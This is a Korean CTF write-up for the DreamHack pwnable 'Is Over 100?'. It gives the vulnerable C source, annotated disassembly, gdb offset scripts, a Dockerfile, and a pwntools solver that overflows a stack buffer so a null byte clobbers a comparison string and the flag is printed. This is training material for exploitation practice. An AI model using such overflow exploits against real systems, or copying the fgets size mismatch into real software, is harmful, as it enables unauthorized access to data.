[🥉 Bronze 3] 널 종결자 한 바이트로 끝나는 오버플로 — DreamHack Is Over 100? 풀이

file extracted/chall; pwn checksec extracted/chall

//gcc -fno-pie -fno-stack-protector -no-pie -Wl,-z,norelro example.c -o example
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
 
void alarm_handler() {
    exit(-1);
}
 
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}
 
int main() {
    char flag[50];
    FILE* file = fopen("flag", "r");
    fgets(flag, sizeof(flag), file);
 
    char arr1[5] = "asdf";
    char arr2[100];
    char arr3[5] = "asdf";
 
    initialize();
 
    fgets(arr2, 0x100, stdin);
 
    printf("%s", arr2);
 
    if (strcmp(arr1, arr3) != 0) {
        printf("%s", flag);
    }
 
    return 0;
}

s|mov    DWORD PTR \[rbp-0x45\],0x66647361|&   <-- arr1 = "asdf"  (rbp-0x45)|
s|mov    DWORD PTR \[rbp-0xb5\],0x66647361|&   <-- arr3 = "asdf"  (rbp-0xb5)|
s|lea    rax,\[rbp-0x40\]$|&        <-- flag  버퍼 (rbp-0x40)|
s|lea    rax,\[rbp-0xb0\]$|&        <-- arr2  입력 버퍼 (rbp-0xb0)|
s|mov    esi,0x32$|&              <-- fgets 길이 0x32 = 50|
s|mov    esi,0x100$|&             <-- fgets 길이 0x100 = 256  (버퍼는 100)|
s|lea    rdx,\[rbp-0xb5\]$|&        <-- strcmp 2번째 인자 = arr3|
s|lea    rax,\[rbp-0x45\]$|&        <-- strcmp 1번째 인자 = arr1|
s|call   4005f0 <strcmp@plt>|&  <-- 두 "asdf" 비교|

objdump -d -M intel --no-show-raw-insn --start-address=0x400791 --stop-address=0x400855 extracted/chall | sed -f work/annot.sed

set pagination off
set confirm off
# 0x4007ea = arr1/arr3 초기화가 끝나고 arr2 를 읽는 fgets 직전
break *0x4007ea
run
printf "arr3 (rbp-0xb5) = %p\n", (char *)($rbp-0xb5)
printf "arr2 (rbp-0xb0) = %p\n", (char *)($rbp-0xb0)
printf "arr1 (rbp-0x45) = %p\n", (char *)($rbp-0x45)
printf "flag (rbp-0x40) = %p\n", (char *)($rbp-0x40)
printf "arr2 -> arr1 = %d bytes\n", (int)((char *)($rbp-0x45) - (char *)($rbp-0xb0))
printf "arr2 -> flag = %d bytes\n", (int)((char *)($rbp-0x40) - (char *)($rbp-0xb0))
printf "arr3 는 arr2 보다 %d bytes 낮다 (오버플로로 못 닿음)\n", (int)((char *)($rbp-0xb0) - (char *)($rbp-0xb5))

gdb -q -batch -x offsets.gdb ./chall 2>&1 | grep -vE "libthread_db|^$"

#!/usr/bin/env bash
# 입력 길이를 1바이트씩 늘려가며 flag 가 실제로 출력되는 구간을 찾는다.
set -u
cd "$(dirname "$(readlink -f "$0")")"
for n in $(seq 102 114); do
  out=$(python3 -c "import sys;sys.stdout.buffer.write(b'A'*$n+b'\n')" | ./chall 2>/dev/null | sed -n '2,$p')
  if printf '%s' "$out" | grep -q 'WaRP{'; then
    printf '%3d bytes -> %s\n' "$n" "$(printf '%s' "$out")"
  else
    printf '%3d bytes -> flag 없음 (arr1 == arr3 이거나 flag 가 덮임)\n' "$n"
  fi
done

./boundary.sh

set pagination off
set confirm off
# 0x40082f = call strcmp@plt — 비교 직전에 세 버퍼를 덤프한다
break *0x40082f
run < payload.bin
printf "arr1 = "
x/s $rbp-0x45
printf "arr3 = "
x/s $rbp-0xb5
printf "flag = "
x/s $rbp-0x40
printf "arr1 raw bytes: "
x/8xb $rbp-0x45

#!/usr/bin/env bash
# 입력 N 바이트를 흘려 넣고 strcmp 호출 직전(0x40082f)에서 arr1/arr3/flag 를 덤프한다.
set -eu
cd "$(dirname "$(readlink -f "$0")")"
for n in "$@"; do
  python3 -c "import sys;sys.stdout.buffer.write(b'A'*$n+b'\n')" > payload.bin
  echo "===== 입력 ${n} bytes ====="
  gdb -q -batch -x probe_strcmp.gdb ./chall 2>&1 | grep -vE '^\[|^Breakpoint 1 at|^Using host libthread_db|^$'
done

./probe_strcmp.sh 105 106

./probe_strcmp.sh 110 111

FROM ubuntu:18.04@sha256:152dc042452c496007f07ca9127571cb9c29697f42acbfad72324b2bb2e43c98
 
RUN apt-get update
RUN apt-get install -y gcc socat
 
RUN adduser gshs
 
ADD ./flag /home/gshs/flag
ADD ./chall /home/gshs/chall
 
RUN chown -R root:root /home/gshs
RUN chown root:gshs /home/gshs/flag
RUN chown root:gshs /home/gshs/chall
 
RUN chmod 755 /home/gshs/chall
RUN chmod 440 /home/gshs/flag
 
WORKDIR /home/gshs
USER gshs
EXPOSE 5000
CMD ["socat", "TCP-LISTEN:5000,reuseaddr,fork", "EXEC:./chall,nofork,stderr"]

#!/usr/bin/env bash
# 배포된 Dockerfile 그대로 빌드해, 문제 서버와 같은 ubuntu 18.04 + socat 환경을 로컬 15000 포트에 띄운다.
set -eu
cd "$(dirname "$(readlink -f "$0")")/.."
docker build -q -t isover100-local extracted
docker run -d --rm --name isover100 -p 15000:5000 isover100-local
sleep 1
docker ps --filter name=isover100 --format 'table {{.Names}}\t{{.Image}}\t{{.Status}}\t{{.Ports}}'

./run_local.sh

#!/usr/bin/env python3
"""Is Over 100? (DreamHack Bronze 3, pwnable) — solver
 
arr2(100B) 를 fgets(arr2, 0x100) 로 넘치게 읽는 버그.
main 의 rbp 상대 배치(0x400791 디스어셈블로 확정):
 
    rbp-0xb5  arr3[5]  = "asdf"   <- arr2 아래라 오버플로로 닿지 않는다
    rbp-0xb0  arr2[100]           <- 입력 버퍼
    rbp-0x45  arr1[5]  = "asdf"   <- arr2 + 107
    rbp-0x40  flag[50]            <- arr2 + 112
    rbp-0x08  FILE *file
 
목표는 strcmp(arr1, arr3) != 0 이므로 arr1 만 깨면 된다.
fgets 는 입력 n 바이트 + '\n' 을 쓰고 그 다음에 '\0' 을 붙이므로
n = 106 이면 널 종결자가 정확히 arr1[0] 에 떨어져 arr1 = "" 가 된다.
반대로 n >= 111 이면 종결자가 flag[0] 을 덮어 플래그가 빈 문자열로 출력된다.
따라서 유효 구간은 106 <= n <= 110.
"""
import re
import sys
 
from pwn import context, remote, process
 
context.log_level = "info"
 
PAD = 106                      # arr2 시작부터 arr1[0] 까지 = 0xb0 - 0x45 = 107 → 널이 107번째에 떨어지게
FLAG_RE = re.compile(rb"WaRP\{[^}\n]*\}")
 
 
def pwn(io):
    io.send(b"A" * PAD + b"\n")
    data = io.recvall(timeout=5)
    io.close()
    return data
 
 
def main():
    if len(sys.argv) >= 3:
        io = remote(sys.argv[1], int(sys.argv[2]))
    else:
        io = process("./extracted/chall")
 
    data = pwn(io)
    print(f"[*] 응답 {len(data)} bytes")
    m = FLAG_RE.search(data)
    if not m:
        print("[-] 플래그 패턴 없음. 원본 응답:")
        print(data.decode(errors="replace"))
        sys.exit(1)
    print(f"[+] FLAG: {m.group().decode()}")
 
 
if __name__ == "__main__":
    main()

python3 solve.py 127.0.0.1 15000

python3 solve.py host3.dreamhack.games 18419

#!/usr/bin/env bash
# Is Over 100? (DreamHack 1842, Bronze 3 pwnable) — 한 방 재현.
#
#   ./reproduce.sh                              로컬 재현
#       배포된 Dockerfile 로 ubuntu 18.04 + socat 컨테이너를 띄우고 solve.py 를 돌린다.
#       배포본의 flag 는 더미(WaRP{fake_flag}) 이므로 여기서 나오는 것도 더미다.
#       즉 "기법이 재현된다"까지만 증명한다 — 진짜 flag 는 라이브 서버에서만 나온다.
#
#   ./reproduce.sh host3.dreamhack.games 18419   라이브 서버 대상
#       이때는 문제.json / state.json 에 적힌 진짜 flag 와 대조한다.
set -eu
cd "$(dirname "$(readlink -f "$0")")"
 
if [ "$#" -ge 2 ]; then
  MODE=remote
  EXPECT=$(python3 -c "import json;print(json.load(open('문제.json'))['flag'])" 2>/dev/null || echo '')
  OUT=$(timeout 120 python3 solve.py "$1" "$2" 2>&1) || true
else
  MODE=local
  EXPECT='WaRP{fake_flag}'
  docker build -q -t isover100-local extracted
  docker run -d --rm --name isover100-repro -p 15099:5000 isover100-local
  sleep 2
  OUT=$(timeout 120 python3 solve.py 127.0.0.1 15099 2>&1) || true
  docker stop isover100-repro
fi
 
echo "$OUT" | tail -8
FLAG=$(printf '%s' "$OUT" | grep -aoE 'WaRP\{[^}]+\}' | head -1)
 
if [ -n "$FLAG" ] && { [ -z "$EXPECT" ] || [ "$FLAG" = "$EXPECT" ]; }; then
  echo; echo "✅ PASS  $FLAG"; exit 0
fi
echo; echo "❌ FAIL (얻은 값: '${FLAG:-없음}' / 기대: '$EXPECT')"; exit 1